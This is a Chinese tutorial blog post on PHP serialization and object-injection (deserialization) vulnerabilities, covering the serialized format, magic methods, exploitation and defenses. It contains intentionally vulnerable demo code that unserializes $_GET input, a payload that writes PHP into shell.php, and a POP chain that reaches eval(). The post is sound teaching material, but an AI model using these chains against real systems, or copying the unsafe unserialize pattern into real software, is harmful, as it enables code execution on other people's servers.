PHP序列化

8 篇文章 0 订阅

基本概念

序列化:

  • serialize() 将对象转变成一个字符串便于之后的传递与使用。
  • 序列化会保存对象所有的变量,但是不会保存对象的方法。

反序列化:

  • unserialize() 将序列化的结果恢复成对象。
  • 反序列化一个对象,这个对象的类必须在反序列化之前定义,或者通过包含该类的定义或者使用 spl_autoload_register() (自动包含类)实现

序列化后格式:

  • 布尔型:
b:value
b:0 //false
b:1 //true
  • 整数型:
i:value
i:1
i:-1
  • 字符型:
s:length:"value";
s:4:"aaaa";
  • NULL型:
N;
  • 数组:
a:<length>:{key; value pairs};
a:1:{i:1;s:1:"a";}
  • 对象:
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}

序列化实列:

<?php

class User
{
	public $name = '';
	public $age = 0;

	public function PrintData()
	{
		echo 'User '.$this->name.'is '.$this->age.' years old';
	}
}

$user = new User();
$user->name = 'John';
$user->age = 20;

$exp = serialize($user);
// O:4:"User":2:{s:4:"name";s:4:"John";s:3:"age";i:20;}
echo $exp.'<br>';

$user1 = unserialize($exp);
// 调用 PrintData() 函数:User Johnis 20 years old
$user1->PrintData();
?>

魔术方法(Magic Methods):

  • php 类中包含的一些以 _ 开头的函数

  • __construct 对象被创建时调用,但 unserialize() 时不会调用

  • __destruct 对象被销毁时调用

  • __toString 对象被当做字符串使用时调用,返回一个字符串(不仅 echo ,比如 file_exists() 也会触发)

  • __sleep 序列化对象之前调用此方法(返回一个包含对象中所有应被序列化的变量名称的数组

  • __wakeup 恢复反序列化对象之前调用

  • __call 调用不存在的方法时

  • 更多魔术方法参照:http://php.net/manual/zh/language.oop5.magic.php#object.tostring

魔术方法实例:

<?php

class Str3am{
	public $var1 = 'abc';
	public $var2 = '123';

	public function echoP(){
		echo $this->var1.'<br>';
	}
	public function __construct(){
		echo "__construct<br>";
	}
	public function __destruct(){
		echo "__destruct<br>";
	}
	public function __toString(){
		return "__toString<br>";
	}
	public function __sleep(){
		echo "__sleep<br>";
		// 注意返回带类中所有变量名称的数组
		return array('var1', 'var2');
	}
	public function __wakeup(){
		echo "__wakeup<br>";
	}
}

// 创建对象,输出__construct
$obj = new Str3am();
// 调用 echoP 方法
$obj->echoP();
// 把类当做字符串输出,输出__toString
echo $obj;
// 序列化对象,输出__sleep
$s = serialize($obj);
// O:6:"Str3am":2:{s:4:"var1";s:3:"abc";s:4:"var2";s:3:"123";}
echo $s.'<br>';
// 反序列对象,输出__wakeup
unserialize($s);
// 脚本结束,对象被销毁,输出两个 __destruct,还有一个是 unserialize 恢复的对象
?>
__destruct实例:脚本结束后删除日志
// logfile.php
<?php 

class LogFile
{
    // log文件名

    public $filename = 'error.log';

    // 某代码,储存日志进文件

    public function LogData($text)
    {
        echo 'Log some data: ' . $text . '<br />';
        file_put_contents($this->filename, $text, FILE_APPEND);
    }

    // Destructor 删除日志文件

    public function __destruct()
    {
        echo '__destruct deletes "' . $this->filename . '" file. <br />';
        unlink(dirname(__FILE__) . '/' . $this->filename);
    }
}

?>
<?php

include 'logfile.php';

// 创建一个对象

$obj = new LogFile();

// 设置文件名和要储存的日志数据

$obj->filename = 'somefile.log';
$obj->LogData('Test');

// php脚本结束啦,__destruct被调用,somefile.log文件被删除。

?>

漏洞利用

反序列化漏洞主要原因在于程序逻辑,魔方函数或者其他函数存在危险功能,通过反序列刚好能利用这个功能,就导致了漏洞产生。

具体可以参见文末 Chybeta 的文章

利用 Magic Function

用了 chybeta 大佬的代码做演示,index.php 源码如下:

<?php
class chybeta{
	var $test = '123';
	function __wakeup(){
		// $fp = fopen('shell.php','w');
		// fwrite($fp, $this->test);
		// fclose($fp);
		file_put_contents('shell.php', $this->test);
	}
}

$class = $_GET['test'];
print_r($class);
echo "<br>";

$class_unser = unserialize($class);

require("./shell.php");

payload O:7:"chybeta":1:{s:4:"test";s:18:"<?php phpinfo();?>";} ,这里比较坑的一点是,访问页面前端显示是不完整的,需要查看源代码。

生成 payload 的代码:

<?php
class chybeta{
	var $test = "123";
	function __wakeup(){
		$fp = fopen("shell.php","w") ;
		fwrite($fp,$this->test);
		fclose($fp);
	}
}
$class4 = new chybeta();
$class4->test = "<?php phpinfo();?>";
$class4_ser = serialize($class4);	
print_r($class4_ser);
?>

反序列化漏洞个人感觉比较依赖程序逻辑,有反序列化且调用危险函数的地方都可以留意下,同时还要注意调用其他对象的情况如下面这个例子:

<?php
class ph0en1x{
	function __construct($test){
		$fp = fopen("shell.php","w") ;
		fwrite($fp,$test);
		fclose($fp);
	}
}
class chybeta{
	var $test = '123';
	function __wakeup(){
		$obj = new ph0en1x($this->test);
	}
}
$class5 = $_GET['test'];
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);
require "shell.php";
?>

利用普通成员方法

当危险函数存在于普通成员方法而不是自动调用的 Magic Function 中时,这时候寻找相同的函数名。

ex1:

<?php
class chybeta{
	var $test;
	function __construct(){
		$this->test = new ph0en1x();
	}

	function __destruct(){
		$this->test->action();
	}
}

class ph0en1x{
	function action(){
		echo "ph0en1x";
	}
}

class ph0en2x{
	var $test2;
	function action(){
		eval($this->test2);
	}
}

$class = new chybeta();

unserialize($_GET['test']);
?>

希望执行 __destruct() 函数时调用 ph0en2x 中的 action() 函数,构造 pop 链

<?php
class chybeta{
	var $test;
	function __destruct(){
		$this->test->action();
	}
}

class ph0en2x{
	var $test2 = "phpinfo();";
	function action(){
		eval($this->test2);
	}
}

$class = new chybeta();
$class->test = new ph0en2x();

echo serialize($class);
?>

PHP Session 处理器的安全隐患

脚本处理序列化所用处理器不一致导致漏洞,具体可以参照这篇文章

PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患

防御

  1. 避免用户可控 unserialize() 参数
  2. 换用 json 传递信息

参考链接

php序列化 - L3m0n
https://www.cnblogs.com/iamstudy/articles/php_serialize_problem.html

浅谈php反序列化漏洞 - Chybeta
https://chybeta.github.io/2017/06/17/浅谈php反序列化漏洞/

理解 php 对象注入
http://wooyun.jozxing.cc/static/drops/papers-4820.html

PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
http://wooyun.jozxing.cc/static/drops/tips-3909.html

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值